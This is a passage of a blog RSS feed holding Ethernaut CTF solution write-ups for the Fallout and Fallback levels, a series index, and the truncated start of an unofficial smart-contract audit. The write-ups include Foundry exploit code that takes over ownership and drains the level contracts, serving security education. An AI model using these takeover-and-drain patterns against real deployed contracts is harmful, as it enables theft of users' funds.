&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Study the contracts
&lt;/h2&gt;

&lt;p&gt;First thing that we notice, the Solidity compiler version used is &lt;code&gt;&amp;lt; 0.8.x&lt;/code&gt;. This mean that the contract would be prone to math underflow and overflow bugs.&lt;/p&gt;

&lt;p&gt;This contract is importing and using OpenZeppelin &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath"&gt;SafeMath&lt;/a&gt; library, so they should be safe about overflow/underflow problems.&lt;/p&gt;

&lt;p&gt;The challenge is pretty unique and if you are new to the Solidity security topic probably you will have a hard time to understand how to solve this challenge but only for one reason: this problem only existed &lt;strong&gt;before&lt;/strong&gt; &lt;code&gt;Solidity 0.4.22&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Before &lt;code&gt;Solidity 0.4.22&lt;/code&gt; the only way to define a constructor for a contract was to define a function with the same name as the contract itself.&lt;br&gt;
You can imagine what could go wrong... you think to have defined the constructor function that should have the name of the contract, but you make a typo while writing it... the function is never called automatically because it's not recognized as a constructor anymore and so the &lt;strong&gt;contract is not initialized&lt;/strong&gt; at creation time.&lt;/p&gt;

&lt;p&gt;After that Solidity version, they introduced a new &lt;code&gt;constructor&lt;/code&gt; keyword to avoid this kind of mistake.&lt;/p&gt;

&lt;p&gt;If you look at the code, the contract's name is &lt;code&gt;Fallout&lt;/code&gt; but the constructor function is called &lt;code&gt;Fal1out&lt;/code&gt;. Can you see the typo? They used a &lt;strong&gt;1&lt;/strong&gt; instead of an &lt;strong&gt;l&lt;/strong&gt;.&lt;br&gt;
Because of that typo, when the contract is deployed, the constructor function is never executed at creation time and the &lt;code&gt;owner&lt;/code&gt; variable is never updated. This is because &lt;code&gt;Fal1out&lt;/code&gt; now is seen as a "normal" function.&lt;/p&gt;
&lt;h2&gt;
  
  
  Solution code
&lt;/h2&gt;

&lt;p&gt;The solution of this challenge is pretty easy. We just need to call the &lt;code&gt;Fal1out&lt;/code&gt; function that has never been called.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploitLevel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="k"&gt;override&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Before Solidity 0.4.22 the only way to define a constructor for a contract was to define a function with the same name of the contract itself
&lt;/span&gt;    &lt;span class="c1"&gt;// After that version they introduced a new `constructor` keyword to avoid this kind of mistake
&lt;/span&gt;    &lt;span class="c1"&gt;// In this case the developer made the mistake to misstype the name of the constructor
&lt;/span&gt;    &lt;span class="c1"&gt;// Contract name -&amp;gt; Fallout
&lt;/span&gt;    &lt;span class="c1"&gt;// Constructor name -&amp;gt; Fal1out
&lt;/span&gt;    &lt;span class="c1"&gt;// The result of this is that the contract was never initialized, the owner was the address(0)
&lt;/span&gt;    &lt;span class="c1"&gt;// and we were able to call the `Fal1out` function that at this point is not a constructor (callable only once)
&lt;/span&gt;    &lt;span class="c1"&gt;// but a "normal" function. This also mean that anyone can call multiple time this function switching the owner of the contract.
&lt;/span&gt;    &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fal1out&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can read the full solution of the challenge opening &lt;a href="https://github.com/StErMi/foundry-ethernaut/blob/main/test/Fallout.t.sol"&gt;Fallout.t.sol&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-118"&gt;SWC-118 - Incorrect Constructor Name&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;do not give any warranties&lt;/strong&gt; and &lt;strong&gt;will not be liable for any loss&lt;/strong&gt; incurred through any use of this codebase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DO NOT USE IN PRODUCTION&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>smartcontract</category>
      <category>web3</category>
    </item>
    <item>
      <title>Ethernaut Challenge #1 Solution — Fallback</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Wed, 03 Aug 2022 08:15:14 +0000</pubDate>
      <link>https://forem.com/stermi/ethernaut-challenge-1-solution-fallback-18cj</link>
      <guid>https://forem.com/stermi/ethernaut-challenge-1-solution-fallback-18cj</guid>
      <description>&lt;p&gt;This is Part 1 of the &lt;a href="https://stermi.xyz/blog/lets-play-openzeppelin-ethernaut"&gt;"Let's play OpenZeppelin Ethernaut CTF"&lt;/a&gt; series, where I will explain how to solve each challenge.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://ethernaut.openzeppelin.com/"&gt;The Ethernaut&lt;/a&gt; is a Web3/Solidity based wargame created by &lt;a href="https://openzeppelin.com/"&gt;OpenZeppelin&lt;/a&gt;.&lt;br&gt;
Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Challenge #1: Fallback
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Look carefully at the contract's code below.&lt;/p&gt;

&lt;p&gt;You will beat this level if&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; you claim ownership of the contract&lt;/li&gt;
&lt;li&gt; you reduce its balance to 0
Things that might help&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;How to send ether when interacting with an ABI&lt;/li&gt;
&lt;li&gt;How to send ether outside of the ABI&lt;/li&gt;
&lt;li&gt;Converting to and from wei/ether units (see help() command)&lt;/li&gt;
&lt;li&gt;Fallback methods&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Level author(s): &lt;a href="https://github.com/ajsantander"&gt;Alejandro Santander&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The goal of this challenge is to claim ownership of the &lt;code&gt;Fallback&lt;/code&gt; contract and reduce its balance to 0.&lt;/p&gt;

&lt;h2&gt;
  
  
  Study the contracts
&lt;/h2&gt;

&lt;p&gt;First thing that we notice, the Solidity compiler version used is &lt;code&gt;&amp;lt; 0.8.x&lt;/code&gt;. This mean that the contract would be prone to math underflow and overflow bugs.&lt;/p&gt;

&lt;p&gt;This contract is importing and using OpenZeppelin &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath"&gt;SafeMath&lt;/a&gt; library, but they are not using it. There is still no way to exploit it by overflow, at least in this specific case.&lt;/p&gt;

&lt;p&gt;The only way to drain the contract is via the &lt;code&gt;withdraw&lt;/code&gt; function that can be called only if the &lt;code&gt;msg.sender&lt;/code&gt; equal to the value of the variable &lt;code&gt;owner&lt;/code&gt; (see the &lt;code&gt;onlyOwner&lt;/code&gt; function modifier). This function will transfer to the &lt;code&gt;owner&lt;/code&gt; address, &lt;strong&gt;all&lt;/strong&gt; the funds in the contract.&lt;/p&gt;

&lt;p&gt;Let's look at the code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So if we find a way to change the &lt;code&gt;owner&lt;/code&gt; value to our address, we will be able to drain all the ether from the contract.&lt;/p&gt;

&lt;p&gt;There are actually two places in the contract where the &lt;code&gt;owner&lt;/code&gt; variable is updated with &lt;code&gt;msg.sender&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;contribute&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;receive&lt;/code&gt; function&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The &lt;code&gt;contribute&lt;/code&gt; function
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;contribute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function allows the &lt;code&gt;msg.sender&lt;/code&gt; to send &lt;code&gt;wei&lt;/code&gt; to the contract. Those &lt;code&gt;wei&lt;/code&gt; will be added to the user's balance, tracked by the &lt;code&gt;contributions&lt;/code&gt; mapping variable.&lt;/p&gt;

&lt;p&gt;If the total contribution made by the user is greater than the one made by the actual owner (&lt;code&gt;contributions[msg.sender] &amp;gt; contributions[owner]&lt;/code&gt;) the &lt;code&gt;msg.sender&lt;/code&gt; will become the new owner.&lt;/p&gt;

&lt;p&gt;The problem is that the contribution made by the owner is equal to &lt;code&gt;1000 ETH&lt;/code&gt;. It's not written anywhere in the description of the challenge, but we can think that our user will start with a limited amount of ETH, an amount that does not allow us to contribute more than the &lt;code&gt;owner&lt;/code&gt;. So, we need to find another way.&lt;/p&gt;

&lt;h3&gt;
  
  
  The &lt;code&gt;receive&lt;/code&gt; function
&lt;/h3&gt;

&lt;p&gt;This is a "special" function that is called "automatically" when someone sends some ether to a contract without specifying anything in the "data" field of the transaction.&lt;/p&gt;

&lt;p&gt;Quoting from the official &lt;a href="https://blog.soliditylang.org/2020/03/26/fallback-receive-split/"&gt;Solidity blog post&lt;/a&gt; when the function has been introduced:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A contract can now have only one &lt;code&gt;receive&lt;/code&gt; function, declared with the syntax: &lt;code&gt;receive() external payable {…}&lt;/code&gt; (without the &lt;code&gt;function&lt;/code&gt; keyword).&lt;br&gt;
It executes on calls to the contract with no data (&lt;code&gt;calldata&lt;/code&gt;), e.g. calls made via &lt;code&gt;send()&lt;/code&gt; or &lt;code&gt;transfer()&lt;/code&gt;.&lt;br&gt;
The function cannot have arguments, cannot return anything and must have &lt;code&gt;external&lt;/code&gt; visibility and &lt;code&gt;payable&lt;/code&gt; state mutability.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here's the code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the &lt;code&gt;receive&lt;/code&gt; function, the &lt;code&gt;owner&lt;/code&gt; is updated with &lt;code&gt;msg.sender&lt;/code&gt; only if the amount of &lt;code&gt;wei&lt;/code&gt; sent with the transaction is &lt;code&gt;&amp;gt; 0&lt;/code&gt; and our contribution in &lt;code&gt;contributions[msg.sender]&lt;/code&gt; is &lt;code&gt;&amp;gt; 0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;At this point, we have all the pieces to build the puzzle and win the challenge. Let's see the solution!&lt;/p&gt;

&lt;h2&gt;
  
  
  Solution code
&lt;/h2&gt;

&lt;p&gt;Here's what we need to do:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Contribute to the contract with at max &lt;code&gt;0.001 ether&lt;/code&gt; (to pass the &lt;code&gt;require&lt;/code&gt; check) calling the &lt;code&gt;contribute&lt;/code&gt; function so the &lt;code&gt;contributions[msg.sender]&lt;/code&gt; will be greater than zero&lt;/li&gt;
&lt;li&gt;Send &lt;code&gt;1 wei&lt;/code&gt; directly to the contract to trigger the &lt;code&gt;receive&lt;/code&gt; function and become the new &lt;code&gt;owner&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;withdraw&lt;/code&gt; and bring home all the &lt;code&gt;ETH&lt;/code&gt; stored in the contract!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And here's the Solidity code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploitLevel&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;internal&lt;/span&gt; &lt;span class="k"&gt;override&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startPrank&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;player&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// send the minimum amount to become a contributor
&lt;/span&gt;    &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contribute&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.0001&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;

    &lt;span class="c1"&gt;// send directly to the contract 1 wei, this will allow us to become the new owner
&lt;/span&gt;    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Failed to send Ether to the level"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// now that we are the owner of the contract withdraw all the funds
&lt;/span&gt;    &lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stopPrank&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can read the full solution of the challenge opening &lt;a href="https://github.com/StErMi/foundry-ethernaut/blob/main/test/Fallback.t.sol"&gt;Fallback.t.sol&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;OpenZeppelin &lt;a href="https://docs.openzeppelin.com/contracts/4.x/api/utils#SafeMath"&gt;SafeMath library&lt;/a&gt; (&lt;strong&gt;only needed with &lt;code&gt;Solidity &amp;lt; 0.8&lt;/code&gt;&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;receive&lt;/code&gt; function &lt;a href="https://blog.soliditylang.org/2020/03/26/fallback-receive-split/"&gt;Solidity blog post&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Disclaimer
&lt;/h2&gt;

&lt;p&gt;All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.&lt;/p&gt;

&lt;p&gt;I &lt;strong&gt;do not give any warranties&lt;/strong&gt; and &lt;strong&gt;will not be liable for any loss&lt;/strong&gt; incurred through any use of this codebase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DO NOT USE IN PRODUCTION&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>smartcontract</category>
      <category>web3</category>
    </item>
    <item>
      <title>Let’s play OpenZeppelin Ethernaut CTF — learning Solidity security while playing!</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Wed, 03 Aug 2022 08:10:27 +0000</pubDate>
      <link>https://forem.com/stermi/lets-play-openzeppelin-ethernaut-ctf-learning-solidity-security-while-playing-40n7</link>
      <guid>https://forem.com/stermi/lets-play-openzeppelin-ethernaut-ctf-learning-solidity-security-while-playing-40n7</guid>
      <description>&lt;p&gt;&lt;a href="https://ethernaut.openzeppelin.com/"&gt;The Ethernaut&lt;/a&gt; is a Web3/Solidity based war game created by &lt;a href="https://openzeppelin.com/"&gt;OpenZeppelin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Each level is a smart contract that needs to be ‘hacked’. The game acts both as a tool for those interested in learning Ethereum, and as a way to catalog historical hacks in levels. Levels can be infinite, and the game does not require to be played in any particular order.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to play
&lt;/h2&gt;

&lt;p&gt;If you want to play it by your own, just go to the &lt;a href="https://ethernaut.openzeppelin.com/"&gt;Ethernaut&lt;/a&gt; website and start solving the challenges.&lt;/p&gt;

&lt;p&gt;Otherwise, you could clone my own &lt;a href="https://github.com/StErMi/foundry-ethernaut"&gt;personal repository&lt;/a&gt;, remove the solutions in the &lt;code&gt;test&lt;/code&gt; folder and build your own! I have explained in the README file how to do it, and it should be pretty easy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Solutions to each puzzle
&lt;/h2&gt;

&lt;p&gt;Each day I will publish the solution to a new challenge, so stay tuned.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-1-solution-fallback"&gt;The Ethernaut Challenge #1 Solution — Fallback&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-2-solution-fallout"&gt;The Ethernaut Challenge #2 Solution — Fallout&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-3-solution-coin-flip"&gt;The Ethernaut Challenge #3 Solution — Coin Flip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-4-solution-telephone"&gt;The Ethernaut Challenge #4 Solution — Telephone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-5-solution-token"&gt;The Ethernaut Challenge #5 Solution — Token&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-6-solution-delegation"&gt;The Ethernaut Challenge #6 Solution — Delegation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-7-solution-force"&gt;The Ethernaut Challenge #7 Solution — Force&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-8-solution-vault"&gt;The Ethernaut Challenge #8 Solution — Vault&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-9-solution-king"&gt;The Ethernaut Challenge #9 Solution — King&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-10-solution-reentrancy"&gt;The Ethernaut Challenge #10 Solution — Re-entrancy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-11-solution-elevator"&gt;The Ethernaut Challenge #11 Solution — Elevator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-12-solution-privacy"&gt;The Ethernaut Challenge #12 Solution — Privacy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-13-solution-gatekeeper-one"&gt;The Ethernaut Challenge #13 Solution — Gatekeeper One&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-14-solution-gatekeeper-two"&gt;The Ethernaut Challenge #14 Solution — Gatekeeper Two&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-15-solution-naught-coin"&gt;The Ethernaut Challenge #15 Solution — Naught Coin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stermi.xyz/blog/ethernaut-challenge-16-solution-preservation"&gt;The Ethernaut Challenge #16 Solution — Preservation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;More to come…&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>blockchain</category>
      <category>smartcontract</category>
      <category>web3</category>
    </item>
    <item>
      <title>An unofficial audit of a Solidity Game smart contract: Wizards &amp; Dragons Game</title>
      <dc:creator>Emanuele Ricci</dc:creator>
      <pubDate>Wed, 01 Dec 2021 18:26:08 +0000</pubDate>
      <link>https://forem.com/stermi/an-unofficial-audit-of-a-solidity-game-smart-contract-wizards-dragons-game-2p72</link>
      <guid>https://forem.com/stermi/an-unofficial-audit-of-a-solidity-game-smart-contract-wizards-dragons-game-2p72</guid>
      <description>&lt;p&gt;Two days ago &lt;a href="https://twitter.com/wndgame"&gt;Wizards &amp;amp; Dragons Game&lt;/a&gt;, an ethereum game has released their smart contract to be reviewed publicly.&lt;/p&gt;

&lt;p&gt;After following the &lt;a href="https://twitter.com/thesecureum"&gt;Secureum Bootcamp&lt;/a&gt; about Smart Contract security I decided to take this opportunity and put into practice everything I've learned during this Bootcamp period.&lt;/p&gt;

&lt;h2&gt;
  
  
  Premise
&lt;/h2&gt;

&lt;p&gt;I'm not a professional auditor, I'm just a full-stack web2 developer that is learning everything in web3 step by step. So take this as a developer that is making his homework :D&lt;/p&gt;

&lt;p&gt;This audit is an unordered list of what I've found while I reviewed the smart contract. They are not well-formatted and mostly rushed because I have done this review in ~5 hours during a single day. I have full-time web2 work so I've done this audit before and after my day job.&lt;/p&gt;

&lt;p&gt;Not having a specification document nor documentation available, only a few code comments, and only a couple of hours of time I spent most of the time reading the code of the contracts and trying to create a mental map of how those contracts were working and interacting each other.&lt;/p&gt;

&lt;p&gt;No tests were provided with the code so I would need to create all of them from scratch, something impossible to do in a short period of time. &lt;/p&gt;

&lt;h2&gt;
  
  
  Contracts on which the audit was based
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://etherscan.io/address/0x70d1300f5a28c57f9ebdfc8095086143da6e2a01#code"&gt;WnD.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etherscan.io/address/0x7859557618d788d4cd0eb54d5eb02fcd097fe300#code"&gt;Traits.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etherscan.io/address/0xf1a18fd1fd2d47f363d340a74fd3513b63f388ad#code"&gt;WNDGame.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etherscan.io/address/0x7ac9f25995c8ddef712b2ef52162ab14b2e89765#code"&gt;GP.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etherscan.io/address/0xe1b5a572ee3b9c348189bce0d98aa2f7bcb9f00b#code"&gt;Tower.sol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etherscan.io/address/0x312Cf426B79FFE25aA28329E5087b0f12Fff1d2e#code"&gt;SacrificialAlter.sol&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Audit Finding
&lt;/h2&gt;

&lt;h3&gt;
  
